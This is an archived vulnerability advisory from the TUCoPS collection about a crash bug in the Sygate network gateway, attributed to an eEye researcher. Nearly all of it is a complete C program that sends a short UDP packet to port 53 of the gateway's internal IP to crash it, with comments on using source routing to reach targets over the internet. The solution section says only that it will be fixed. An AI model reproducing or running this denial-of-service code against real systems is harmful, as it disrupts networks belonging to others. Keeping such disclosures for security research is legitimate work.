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TUCoPS :: Windows Net Apps :: sygate2.htm

SyGate crash



Vulnerability

    Sygate

Affected

    Sygate

Description

    Marc from EEYE posted following.

    //Sygate Crash by: marc@eeye.com (April-00)
    //http://www.eEye.com
    //Will crash Sygate (http://www.sygate.com/) when ran from the internal LAN.
    //Play with source routing to get it to work across the internet.
    //Just hit the Internal IP of the Sygate machine.
    
    #include <stdio.h>
    #include <arpa/inet.h>
    
    int main (int argc, char **argv)
    {
            int SockFD, addrlen, bsent;
            struct sockaddr_in UDPSock;
            char bomb[]= "changeiscoming";
    
            printf("Sygate Crash by: marc@eeye.com\n");
            printf("http://www.eEye.com\n\n");
    
            if(argc<2){
                    printf("Usage: %s [server]\n",argv[0]);
                    exit(1);
            }
    
            SockFD=socket(AF_INET, SOCK_DGRAM, 0);
    
            UDPSock.sin_family=AF_INET;
            UDPSock.sin_addr.s_addr=inet_addr(argv[1]);
            UDPSock.sin_port=htons(53);
    
            bsent=sendto(SockFD,&bomb,13,0,(struct sockaddr *) &UDPSock,
    sizeof(struct sockaddr_in));
    
            printf("Sent Crash.\nBytes Sent: %i\n",bsent);
    }

Solution

    Will be fixed.


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